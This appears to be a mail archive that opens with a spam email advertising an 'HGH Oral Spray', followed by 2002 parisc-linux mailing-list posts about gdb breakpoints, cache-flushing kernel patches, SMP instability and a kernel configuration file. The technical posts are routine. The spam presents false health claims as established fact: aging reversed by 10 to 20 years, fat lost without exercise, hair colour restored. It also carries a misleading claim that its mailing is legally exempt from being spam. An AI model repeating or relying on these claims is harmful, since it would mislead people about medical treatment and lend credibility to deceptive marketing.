     Released by your own pituitary gland, HGH starts declining 
in your 20s, even more in your 30s and 40s, eventually resulting
in the shrinkage of major organs -- plus, all 
other symptoms related to old age.
 
 
IN THOUSANDS OF CLINICAL STUDIES, 
HGH HAS BEEN SHOWN TO ACCOMPLISH THE FOLLOWING:
 
* Reduce Body Fat and Build Lean Muscle 
   WITHOUT EXERCISE!
 
* Enhance Sexual Performance
 
* Remove Wrinkles and Cellulite
 
* Lower Blood Pressure and Improve Cholesterol Profile
 
* Improve Sleep, Vision and Memory
 
* Restore Hair Color and Growth
 
* Strengthen the Immune System
 
* Increase Energy and Cardiac Output
 
* Turn back your body's Biological Time Clock 10 - 20 years
 
* Live Longer AND Stronger
 
All natural and organic plant based 
 
FEEL 10 YEARS YOUNGER WITH ORAL SPRAY HGH.
GUARANTEED
 
    We are the manufacturer and we sell directly to Doctors, 
Chiropractors, and consumers world wide the highest grade
 HGH Oral Spray available.  
 
     With internet marketing, we are able to save advertising 
cost and pass those savings along to you.
But you must act now.  
 
To receive more information call  us now.
 
            TOLL FREE 1-888-621-7300
 
We must speak to you in person to qualify your usage.
 
     All of your questions will be addressed and answered in a friendly, 
no pressure manner.  Our main purpose is to provide you with
 information so you can make an educated decision.
 
     For more information call
  
            1-888-621-7300
 
 If you are on line write down our 
phone number and call us when you can.
 
Soon, you and your loved ones will be very glad you did.
 
Read what people are saying:
 
"The effects of 6 months of GH on
lean body mass and fat were equivalent
in magnitude to the changes incurred
during 10-20 years of aging."
Dr. Daniel Rudman, MD,
New England Journal of Medicine.
 
"Within four months, my body fat decreased
 form 30% down to 21%! I noticed my skin
 is more supple and my overall mental
 outlook improved significantly."
 D.W., New Jersey
 
"We have been on the spray for just 3 weeks
now, and besides the tremendous energy we
both feel, my husbands allergies and spells
of depression have lifted. I am healing
extremely fast after an accident and have
lost 7 lbs. without trying!"
C.B., Flagstaff. AZ
 
Thanks for reading our letter,
The HGH Staff
USA Division
 
PS:  The HGH Staff guarantees the 
highest quality and lowest price.
 
 We manufacture and ship directly to your door.
 
Call us now 1-888-621-7300
 
=======   End of message ========  
 
   The following statement is provided to be 
in compliance with commercial email laws.
 
   If you do not wish to receive further
mailings, please click reply and type remvoe in the subject box.
Then click send.
 
   This message is in full compliance with
U.S. Federal requirements for commercial
email under bill S.1618 Title lll, Section 301,
Paragraph (a)(2)(C) passed by the 105th U.S.
Congress and is not considered SPAM
since it includes a remove mechanism.*
This message is not intended for residents in the
states of CA, NC, NV, RI, TN, VA & WA. 
Screening of addresses has been done to the best
of our technical ability.
 
             Call us now 1-888-621-7300 for your 
             free HGH consultation.
Thank you

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

--
3618129765443332



From - Thu Nov 08 21:22:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH: flush_icache_page() and flush_icache_range()
Date: Wed, 29 May 2002 07:02:42 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20020529060242.GG3471@sleepie.demon.co.uk>
References: <20020528234023.GF3471@sleepie.demon.co.uk> <200205290048.g4T0mUrP026311@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621327 7929 80.91.229.3 (22 Nov 2014 01:55:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 00:25:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id E09B9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 00:25:35 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id C9FD79ECF7; Wed, 29 May 2002 07:02:43 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <200205290048.g4T0mUrP026311@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14877

On Tue, May 28, 2002 at 08:48:30PM -0400, John David Anglin wrote:
> > Hi,
> >   gdb has a problem in that it often doesn't stop the target program
> > when you do a 'step' or 'next'.  This is because it plants breakpoints,
> > but those breakpoints sit in the data cache and don't get flushed
> > through to be visible as code in time.  We need a flush_icache_page()
> > implementation to fix this; the following adds that and
> > flush_icache_range() also.  It does fix gdb for me on my a500.
> 
> Good find! I'll give it a try.  Can you now print function results?

You mean like

Breakpoint 1, main (argc=1, argv=0xbff00148) at ../simple.c:16
16              a = thing(1);
(gdb) print thing(7)

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
The program being debugged stopped while in a function called from GDB.
When the function (thing) is done executing, GDB will silently
stop (instead of continuing to evaluate the expression containing
the function call).
(gdb) 


thing(x) just returns x*2 in this case.  As you see it didn't work, 
and gave a protection id trap for the target program.  I'll investigate
further.


Richard





From - Thu Nov 08 21:22:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Tue, 28 May 2002 23:26:38 -0700 (PDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205282315190.11012-100000@garibaldi.apptechsys.com>
References: <20020529043916.A15D3482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621327 7936 80.91.229.3 (22 Nov 2014 01:55:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 00:26:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 438CF482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 00:26:40 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id E5EF47BC51; Tue, 28 May 2002 23:26:38 -0700 (PDT)
In-Reply-To: <20020529043916.A15D3482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14878

On Tue, 28 May 2002, Grant Grundler wrote:

> Jeremy Drake wrote:
> > Some things that occured to me about the hardware that may be influencing 
> > this.  The on-board USB on this box is broken (as in physically damaged).  
> 
> That's a good observation. Can you characterize how extensive is the
> physical damage?

The plastic thing that the pins sit on was missing from one of the 2 usb 
ports when the box arrived.  I, not having noticed this, plugged a 
keyboard into it.  It worked, but after playing with serial consoles and 
such it wouldn't go back.  The pins were bent because the reinforcing 
plastic was missing.  I tried to bend the pins so that they didn't short 
anything, and one broke off.  Both onboard USB ports haven't worked since.  
When booting, it said "initializing keyboard" and then "IODC error".  I 
put it on serial console and left it alone after that.
 
> > I don't recall anything on the previous console output that suggests
> the USB interface driver isn't happy.
> 
> > I have a pci usb card in there for typing on the graphics console, and 
> > when I installed it into the first slot recommended by the manual (2 I 
> > think) the box did some HPMC stuff when it tried to do selftests.  I moved 
> > it to slot 8 and everything seems happy with it.  Maybe something in the 
> > smp code is aggrevating these problems...
> 
> Possible. Which manual are you referring to?
> one that came with the USB card or some HP PARISC manual?

The J5000 owners manual, 
http://www.hp.com/workstations/support/documentation/manuals/user_guides/j_class/A5991-90000.pdf 
near the top of page 54 it says "For non-graphics cards, insert them in 
this order: Slot 2, then 8, 3, 5, and finally 6."

> 
> grant
> 

-- 
If a man has a strong faith he can indulge in the luxury of skepticism.
		-- Friedrich Nietzsche




From - Thu Nov 08 21:22:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH: flush_icache_page() and flush_icache_range()
Date: Wed, 29 May 2002 00:30:43 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <20020529063043.A9FD4482A@dsl2.external.hp.com>
References: <20020528234023.GF3471@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621327 7937 80.91.229.3 (22 Nov 2014 01:55:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 00:30:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A9FD4482A; Wed, 29 May 2002 00:30:43 -0600 (MDT)
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Wed, 29 May 2002 00:40:24 BST." <20020528234023.GF3471@sleepie.demon.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14879

Richard Hirst wrote:
> This is because it plants breakpoints,
> but those breakpoints sit in the data cache and don't get flushed
> through to be visible as code in time. 

Richard,
Someone put code in arch/parisc/mm/init.c as per Alan Cox's suggestion
to trap excessive __init's. But it didn't flush dcache or icache.
Can you glob/rework the following patch with yours?

(I'm very guilty of being tired and not checking for compile errors
or warnings...way past my bedtime again...the code does compile
and link though)

thanks,
grant

Index: arch/parisc/mm/init.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/mm/init.c,v
retrieving revision 1.48
diff -u -p -r1.48 init.c
--- arch/parisc/mm/init.c	2002/04/15 23:49:12	1.48
+++ arch/parisc/mm/init.c	2002/05/29 06:14:16
@@ -381,10 +381,23 @@ void free_initmem(void)
 	printk(KERN_INFO "Freeing unused kernel memory: ");
 
 #if 1
-	cli();	/* disable all interrupts */
-	memset(&__init_begin, 0xff, 
+	/* Attempt to catch anyone trying to execute code here
+	 * by filling the page with BRK insns.
+	 * 
+	 * If we disable interrupts for all CPUs, then IPI stops working.
+	 * Kinda breaks the global cache flushing.
+	 */
+	local_irq_disable();
+
+	memset(&__init_begin, 0x00, 
 		(unsigned long)&__init_end - (unsigned long)&__init_begin);
-	sti();	/* re-enable all interrupts */
+
+	flush_data_cache();
+	asm volatile("sync" : : );
+	flush_icache_range(&__init_begin, &__init_end);
+	asm volatile("sync" : : );
+
+	local_irq_enable();
 #endif
 	
 	addr = (unsigned long)(&__init_begin);



From - Thu Nov 08 21:22:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Wed, 29 May 2002 00:35:52 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20020529063552.B14D8482A@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0205282315190.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621327 7940 80.91.229.3 (22 Nov 2014 01:55:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 00:35:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B14D8482A; Wed, 29 May 2002 00:35:52 -0600 (MDT)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Tue, 28 May 2002 23:26:38 PDT." <Pine.LNX.4.44.0205282315190.11012-100000@garibaldi.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14880

Jeremy Drake wrote:
> tried to bend the pins so that they didn't short 
> anything, and one broke off.  Both onboard USB ports haven't worked since.  

Ok. So broken physically but not eletrically.
Not sure that should cause any problems.
You run the risk now of being the only person using an add-on
USB card regularly for parisc.

> The J5000 owners manual, 
> http://www.hp.com/workstations/support/documentation/manuals/user_guides/j_cl
>   ass/A5991-90000.pdf 
> near the top of page 54 it says "For non-graphics cards, insert them in 
> this order: Slot 2, then 8, 3, 5, and finally 6."

ok. Not sure why they offer that advice...but whatever.

grant



From - Thu Nov 08 21:22:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Wed, 29 May 2002 08:51:31 +0100
Lines: 744
Approved: news@gmane.org
Message-ID: <20020529075131.GC9919@tykepenguin.com>
References: <20020527001321.A6629@systemhalted> <20020528142736.GA9288@tykepenguin.com> <20020528132933.B31214@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="wRRV7LY7NUeQGEoC"
X-Trace: ger.gmane.org 1416621328 7942 80.91.229.3 (22 Nov 2014 01:55:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:28 +0000 (UTC)
Cc: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 01:51:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-5-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AD91482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 01:51:33 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17CyF1-00032n-00; Wed, 29 May 2002 08:51:31 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	"Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Content-Disposition: inline
In-Reply-To: <20020528132933.B31214@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14881

--wRRV7LY7NUeQGEoC
Content-Type: text/plain; charset=iso-8859-15
Content-Disposition: inline

On Tue, May 28, 2002 at 01:29:33PM -0400, Carlos O'Donell Jr. wrote:
> 
> > I can't get it to boot on my C110 - it gets stuck at the old familar "if this is
> > the last message you see" message. I can run the Debian 2.4.18 kernel OK on this
> > box.
> > Any ideas anyone?
> > patricki
> 
> What gcc version are you using to compile your kernel?

3.0.4, this is a Debian "woody" installaion.

> What kernel parameters have you appended?
Just the defaults added by PALO (which include console=ttyS0)

> What version of modutils are you using?
2.4.15 FWIW

> Send your .config?
Attached

> Serial console?

yes
 
> Helpful is the documentation can be found at:
> http://oss.sgi.com/projects/kdb/

I've used KDB before on intel machines (until I discovered kgdb!) I was hoping
to find a kdb patch for parisc on that site so I could apply it to a known,
working kernel but there only appears to be intel & sparc ones.

I've had a good play with this last night and it seems to be the kernel config
but I'm not sure why. I copied the .config from the working Debian kernel, did a
"make oldconfig" and built it but...

Anyway. I plugged in a monitor and keyboard so I could see what's really going
on and I can see that the kernel /does/ boot but it can't find the FW scsi
controller and therefore the root filesystem.

So the problem is that I seem to have have configged out the serial console and
the SCSI controller but I'm not sure how. It must be something stupid I've done
but I can't see it.

Honest, I've built Linux kernels for sparc, alpha, intel and mips before, but
this one's beaten me!

patrick


--wRRV7LY7NUeQGEoC
Content-Type: text/plain; charset=iso-8859-15
Content-Disposition: attachment; filename=pa-config

#
# Automatically generated by make menuconfig: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
CONFIG_MODULES=y
# CONFIG_MODVERSIONS is not set
CONFIG_KMOD=y

#
# Processor type
#
# CONFIG_PA7100 is not set
CONFIG_PA7200=y
# CONFIG_PA7100LC is not set
# CONFIG_PA8X00 is not set
CONFIG_PA11=y

#
# General options
#
# CONFIG_SMP is not set
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_KWDB is not set
CONFIG_IOMMU_CCIO=y
CONFIG_GSC=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_ISA=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
# CONFIG_PCI_NAMES is not set

#
# General setup
#
CONFIG_HOTPLUG=y
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_MISC is not set
# CONFIG_PM is not set

#
# Parallel port support
#
CONFIG_PARPORT=y
CONFIG_PARPORT_PC=y
CONFIG_PARPORT_PC_CML1=y
# CONFIG_PARPORT_SERIAL is not set
# CONFIG_PARPORT_PC_FIFO is not set
# CONFIG_PARPORT_PC_SUPERIO is not set
# CONFIG_PARPORT_PC_PCMCIA is not set
# CONFIG_PARPORT_AMIGA is not set
# CONFIG_PARPORT_MFC3 is not set
# CONFIG_PARPORT_ATARI is not set
CONFIG_PARPORT_GSC=y
# CONFIG_PARPORT_SUNBPP is not set
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_NBD=m
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=6144
# CONFIG_BLK_DEV_INITRD is not set

#
# Multi-device support (RAID and LVM)
#
CONFIG_MD=y
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_MD_MULTIPATH is not set
CONFIG_BLK_DEV_LVM=m

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_NETLINK_DEV=y
CONFIG_NETFILTER=y
CONFIG_NETFILTER_DEBUG=y
CONFIG_FILTER=y
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set

#
#   IP: Netfilter Configuration
#
CONFIG_IP_NF_CONNTRACK=m
CONFIG_IP_NF_FTP=m
# CONFIG_IP_NF_IRC is not set
# CONFIG_IP_NF_QUEUE is not set
CONFIG_IP_NF_IPTABLES=m
CONFIG_IP_NF_MATCH_LIMIT=m
CONFIG_IP_NF_MATCH_MAC=m
CONFIG_IP_NF_MATCH_MARK=m
CONFIG_IP_NF_MATCH_MULTIPORT=m
CONFIG_IP_NF_MATCH_TOS=m
# CONFIG_IP_NF_MATCH_AH_ESP is not set
# CONFIG_IP_NF_MATCH_LENGTH is not set
# CONFIG_IP_NF_MATCH_TTL is not set
CONFIG_IP_NF_MATCH_TCPMSS=m
CONFIG_IP_NF_MATCH_STATE=m
CONFIG_IP_NF_MATCH_UNCLEAN=m
CONFIG_IP_NF_MATCH_OWNER=m
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_MIRROR=m
CONFIG_IP_NF_NAT=m
CONFIG_IP_NF_NAT_NEEDED=y
CONFIG_IP_NF_TARGET_MASQUERADE=m
CONFIG_IP_NF_TARGET_REDIRECT=m
# CONFIG_IP_NF_NAT_SNMP_BASIC is not set
CONFIG_IP_NF_NAT_FTP=m
CONFIG_IP_NF_MANGLE=m
CONFIG_IP_NF_TARGET_TOS=m
CONFIG_IP_NF_TARGET_MARK=m
CONFIG_IP_NF_TARGET_LOG=m
# CONFIG_IP_NF_TARGET_ULOG is not set
CONFIG_IP_NF_TARGET_TCPMSS=m
CONFIG_IP_NF_COMPAT_IPCHAINS=m
CONFIG_IP_NF_NAT_NEEDED=y
CONFIG_IP_NF_COMPAT_IPFWADM=m
CONFIG_IP_NF_NAT_NEEDED=y
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
CONFIG_DECNET=m
# CONFIG_DECNET_SIOCGIFCONF is not set
# CONFIG_DECNET_ROUTER is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# ATA/IDE/MFM/RLL support
#
# CONFIG_IDE is not set
# CONFIG_BLK_DEV_IDE_MODES is not set
# CONFIG_BLK_DEV_HD is not set

#
# SCSI support
#
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y
# CONFIG_SCSI_DEBUG_QUEUES is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_53C700_USE_CONSISTENT=y
# CONFIG_SCSI_NCR53C7xx is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_SCSI_NCR53C8XX is not set
CONFIG_SCSI_SYM53C8XX=y
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
